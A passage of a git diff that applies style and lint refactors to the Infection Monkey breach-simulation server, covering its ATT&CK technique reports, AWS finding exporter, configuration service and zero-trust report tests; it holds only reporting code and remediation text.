a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index bc2645bb9..726910789 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1082(AttackTechnique): - tech_id = "T1082" unscanned_msg = "Monkey didn't gather any system info on the network." scanned_msg = "" @@ -22,17 +21,17 @@ class T1082(AttackTechnique): {'$project': {'_id': 0, 'machine': 1, 'collections': [ - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, - 'name': {'$literal': 'Amazon Web Services info'}}, - {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, - 'name': {'$literal': 'Running process list'}}, - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, - 'name': {'$literal': 'Network connections'}}, - {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, - 'name': {'$literal': 'SSH info'}}, - {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, - 'name': {'$literal': 'Azure info'}} - ]}}, + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, + 'name': {'$literal': 'Amazon Web Services info'}}, + {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, + 'name': {'$literal': 'Running process list'}}, + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, + 'name': {'$literal': 'Network connections'}}, + {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, + 'name': {'$literal': 'SSH info'}}, + {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, + 'name': {'$literal': 'Azure info'}} + ]}}, {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index dd5d64d25..fe4b6ccec 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1086(AttackTechnique): - tech_id = "T1086" unscanned_msg = "Monkey didn't run powershell." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index 7a6c830b8..f5702ede8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1090(AttackTechnique): - tech_id = "T1090" unscanned_msg = "Monkey didn't use connection proxy." scanned_msg = "" @@ -20,5 +19,3 @@ class T1090(AttackTechnique): data = T1090.get_base_data_by_status(status) data.update({'proxies': monkeys}) return data - - diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 3d95fd88d..6ae8037bc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -5,7 +5,6 @@ __author__ = "VakarisZ" class T1105(AttackTechnique): - tech_id = "T1105" unscanned_msg = "Monkey didn't try to copy files to any systems." scanned_msg = "Monkey tried to copy files, but failed." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 72bb0af76..a28dc5aeb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -46,5 +46,3 @@ class T1110(AttackTechnique): data.update({'services': attempts}) return data - - diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 32187696a..3959302fa 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1188(AttackTechnique): - tech_id = "T1188" unscanned_msg = "Monkey didn't use multi-hop proxy." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index eeae183f5..5b9a23c62 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1210(AttackTechnique): - tech_id = "T1210" unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them." @@ -30,8 +29,8 @@ class T1210(AttackTechnique): @staticmethod def get_scanned_services(): results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, - {'$sort': {'data.service_count': -1}}, - {'$group': { + {'$sort': {'data.service_count': -1}}, + {'$group': { '_id': {'ip_addr': '$data.machine.ip_addr'}, 'machine': {'$first': '$data.machine'}, 'time': {'$first': '$timestamp'}}}]) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 2d38b6498..41c218099 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -15,7 +15,6 @@ __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) - # This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ [ @@ -122,11 +121,16 @@ class ConfigService: @staticmethod def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], - False, False), user, ip): - ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', - {"public_key": public_key, "private_key": private_key, - "user": user, "ip": ip}) + if not ConfigService.ssh_key_exists( + ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip): + ConfigService.add_item_to_config_set( + 'internal.exploits.exploit_ssh_keys', + { + "public_key": public_key, + "private_key": private_key, + "user": user, "ip": ip + } + ) @staticmethod def ssh_key_exists(keys, user, ip): @@ -139,7 +143,7 @@ class ConfigService: if should_encrypt: try: ConfigService.encrypt_config(config_json) - except KeyError as e: + except KeyError: logger.error('Bad configuration file was submitted.') return False mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) @@ -149,9 +153,9 @@ class ConfigService: @staticmethod def init_default_config(): if ConfigService.default_config is None: - defaultValidatingDraft4Validator = ConfigService._extend_config_with_default(Draft4Validator) + default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator) config = {} - defaultValidatingDraft4Validator(SCHEMA).validate(config) + default_validating_draft4_validator(SCHEMA).validate(config) ConfigService.default_config = config @staticmethod @@ -202,15 +206,15 @@ class ConfigService: # Do it only for root. if instance != {}: return - for property, subschema in list(properties.items()): + for property1, subschema1 in list(properties.items()): main_dict = {} - for property2, subschema2 in list(subschema["properties"].items()): + for property2, subschema2 in list(subschema1["properties"].items()): sub_dict = {} for property3, subschema3 in list(subschema2["properties"].items()): if "default" in subschema3: sub_dict[property3] = subschema3["default"] main_dict[property2] = sub_dict - instance.setdefault(property, main_dict) + instance.setdefault(property1, main_dict) for error in validate_properties(validator, properties, instance, schema): yield error @@ -261,11 +265,11 @@ class ConfigService: # Check if array of shh key pairs and then decrypt if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ - ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + ConfigService.decrypt_ssh_key_pair(config_arr[i], True) else: config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) else: - parent_config_arr[config_arr_as_array[-1]] =\ + parent_config_arr[config_arr_as_array[-1]] = \ encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) @staticmethod diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 62e370e44..7062d71c3 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files from flask import jsonify from monkey_island.cc.database import mongo - logger = logging.getLogger(__name__) @@ -28,4 +27,3 @@ class Database(object): def init_db(): if not mongo.db.collection_names(): Database.reset_db() - diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py index ae3d2a2de..d5e38768d 100644 --- a/monkey/monkey_island/cc/services/edge.py +++ b/monkey/monkey_island/cc/services/edge.py @@ -141,7 +141,7 @@ class EdgeService: @staticmethod def get_edge_label(edge): - NodeService = monkey_island.cc.services.node.NodeService + node_service = monkey_island.cc.services.node.NodeService from_id = edge["from"] to_id = edge["to"] @@ -153,9 +153,9 @@ class EdgeService: if Monkey.is_monkey(to_id): to_label = Monkey.get_label_by_id(to_id) else: - to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id)) + to_label = node_service.get_node_label(node_service.get_node_by_id(to_id)) - RIGHT_ARROW = "\u2192" return "%s %s %s" % (from_label, RIGHT_ARROW, to_label) +RIGHT_ARROW = "\u2192" diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py index 77b28bdd4..be6aae12d 100644 --- a/monkey/monkey_island/cc/services/island_logs.py +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -1,4 +1,5 @@ import logging + __author__ = "Maor.Rayzin" logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py index 4b88473fe..e2ab8ec10 100644 --- a/monkey/monkey_island/cc/services/mimikatz_utils.py +++ b/monkey/monkey_island/cc/services/mimikatz_utils.py @@ -1,4 +1,3 @@ - __author__ = 'maor.rayzin' diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 27d2d299a..3109f7a78 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -56,9 +56,9 @@ class NodeService: accessible_from_nodes.append(from_node_label) accessible_from_nodes_hostnames.append(from_node_hostname) - for exploit in edge["exploits"]: - exploit["origin"] = from_node_label - exploits.append(exploit) + for edge_exploit in edge["exploits"]: + edge_exploit["origin"] = from_node_label + exploits.append(edge_exploit) exploits = sorted(exploits, key=lambda exploit: exploit['timestamp']) diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index 77b6d95ea..9627bf74c 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -1,6 +1,5 @@ import logging -from monkey_island.cc.services.config import ConfigService from common.cloud.aws_instance import AwsInstance from common.cloud.aws_service import AwsService from common.cmd.aws.aws_cmd_runner import AwsCmdRunner diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 8690f6ee1..1df12e2eb 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -148,8 +148,8 @@ class AWSExporter(Exporter): severity=5, title="Weak segmentation - Machines were able to communicate over unused ports.", description="Use micro-segmentation policies to disable communication other than the required.", - recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']), + recommendation="Machines are not locked down at port level. " + "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -160,10 +160,12 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=10, title="Samba servers are vulnerable to 'SambaCry'", - description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0} password to a complex one-use password that is not shared with other computers on the " + "network. Update your Samba server to 4.4.14 and up, " + "4.5.10 and up, or 4.6.4 and up.".format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB " + "protocol with user {2} and its password, and used the SambaCry " + "vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -174,10 +176,10 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=5, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over " + "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -188,10 +190,11 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH" + " protocol with user {2} and its " + "password.".format(issue['machine'], issue['ip_address'], issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -203,8 +206,11 @@ class AWSExporter(Exporter): severity=1, title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated " + "over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], + ip_address=issue['ip_address'], + ssh_key=issue['ssh_key']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -216,8 +222,10 @@ class AWSExporter(Exporter): severity=10, title="Elastic Search servers are vulnerable to CVE-2015-1427", description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], issue['ip_address']), + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made " + "possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], + issue['ip_address']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -228,13 +236,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Weak segmentation - Machines from different segments are able to communicate.", - description="Segment your network and make sure there is no communication between machines from different segments.", + description="Segment your network and make sure there is no communication between machines from different " + "segments.", recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], - issue[ - 'server_networks']), + issue['server_networks']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -259,8 +267,9 @@ class AWSExporter(Exporter): title="Machines are vulnerable to 'Shellshock'", description="Update your Bash to a ShellShock-patched version.", recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " + "shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -271,10 +280,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB " + "protocol with user {2} and its password.".format( + issue['machine'], + issue['ip_address'], + issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -285,9 +297,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", - recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.", + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " + "the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], + ip_address=issue['ip_address'], + username=issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -298,10 +314,13 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " + "network.".format(issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " + "pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], + ip_address=issue['ip_address'], + username=issue['username']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -325,9 +344,10 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=1, title="Shared local administrator account - Different machines have the same account as a local administrator.", - description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", - recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( - username=issue['username'], shared_machines=issue['shared_machines']), + description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t " + "an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is defined as an administrator: " + "{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -339,8 +359,9 @@ class AWSExporter(Exporter): severity=1, title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", description="This critical machine is open to attacks via strong users with access to it.", - recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']), + recommendation="The services: {services} have been found on the machine thus classifying it as a critical " + "machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -353,8 +374,8 @@ class AWSExporter(Exporter): title="Struts2 servers are vulnerable to remote code execution.", description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( - machine=issue['machine'], ip_address=issue['ip_address']), + "The attack was made possible because the server is using an old version of Jakarta based file " + "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) @@ -365,11 +386,11 @@ class AWSExporter(Exporter): return AWSExporter._build_generic_finding( severity=10, title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest version. " \ + description="Install Oracle critical patch updates. Or update to the latest version. " "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( - machine=issue['machine'], ip_address=issue['ip_address']), + "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware " + "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']), instance_arn=instance_arn, instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index f64d4b4aa..903af1628 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.environment.environment import env + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index 5e77b6395..ecb209c69 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -30,7 +30,6 @@ class PTHReportService(object): } """ - pipeline = [ {"$match": { 'NTLM_secret': { @@ -55,7 +54,7 @@ class PTHReportService(object): :param admin_on_machines: A list of "monkey" documents "_id"s :param domain_name: The admins' domain name :return: - A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. + A list of formatted machines names *domain*/*hostname*, to use in shared admins issues. """ machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) return [domain_name + '\\' + i['hostname'] for i in list(machines)] @@ -108,7 +107,7 @@ class PTHReportService(object): 'username': user['name'], 'domain_name': user['domain_name'], 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None - } for user in doc['Docs'] + } for user in doc['Docs'] ] users_cred_groups.append({'cred_groups': users_list}) @@ -144,7 +143,8 @@ class PTHReportService(object): { 'name': admin['name'], 'domain_name': admin['domain_name'], - 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name']) + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], + admin['domain_name']) } for admin in admins ] @@ -153,11 +153,11 @@ class PTHReportService(object): admins_info = PTHReportService.get_shared_admins_nodes() return [ { - 'is_local': False, - 'type': 'shared_admins_domain', - 'machine': admin['domain_name'], - 'username': admin['domain_name'] + '\\' + admin['name'], - 'shared_machines': admin['admin_on_machines'], + 'is_local': False, + 'type': 'shared_admins_domain', + 'machine': admin['domain_name'], + 'username': admin['domain_name'] + '\\' + admin['name'], + 'shared_machines': admin['admin_on_machines'], } for admin in admins_info] @@ -262,7 +262,7 @@ class PTHReportService(object): return { 'nodes': PTHReportService.generate_map_nodes(), 'edges': PTHReportService.generate_edges() - } + } @staticmethod def get_report(): @@ -283,4 +283,3 @@ class PTHReportService(object): } return report - diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 01be940c4..6a44679a4 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -12,7 +12,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups -from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py index 7c709f862..b5a628fb1 100644 --- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py @@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase): self.assertEqual(map_nodes[0]["group"], "critical") self.assertEqual(len(map_nodes[0]["services"]), 2) self.assertEqual(map_nodes[0]["hostname"], hostname) - - - diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index d77e67aad..328be2e00 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -1,180 +1,197 @@ -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService from monkey_island.cc.testing.IslandTestCase import IslandTestCase EXPECTED_DICT = { - AUTOMATION_ORCHESTRATION: [], - DATA: [ + zero_trust_consts.AUTOMATION_ORCHESTRATION: [], + zero_trust_consts.DATA: [ { - "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], - "status": STATUS_FAILED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_DATA_TRANSIT], + "status": zero_trust_consts.STATUS_FAILED, "tests": [ { - "status": STATUS_FAILED, - "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_FAILED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_DATA_ENDPOINT_HTTP][zero_trust_consts.TEST_EXPLANATION_KEY] }, { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC][zero_trust_consts.TEST_EXPLANATION_KEY] }, ] } ], - DEVICES: [ + zero_trust_consts.DEVICES: [ { - "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], - "status": STATUS_FAILED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ENDPOINT_SECURITY], + "status": zero_trust_consts.STATUS_FAILED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_MACHINE_EXPLOITED][zero_trust_consts.TEST_EXPLANATION_KEY] }, { - "status": STATUS_FAILED, - "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_FAILED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS][zero_trust_consts.TEST_EXPLANATION_KEY] }, ] } ], - NETWORKS: [ + zero_trust_consts.NETWORKS: [ { - "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_SEGMENTATION], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SEGMENTATION][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], - "status": STATUS_VERIFY, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], + "status": 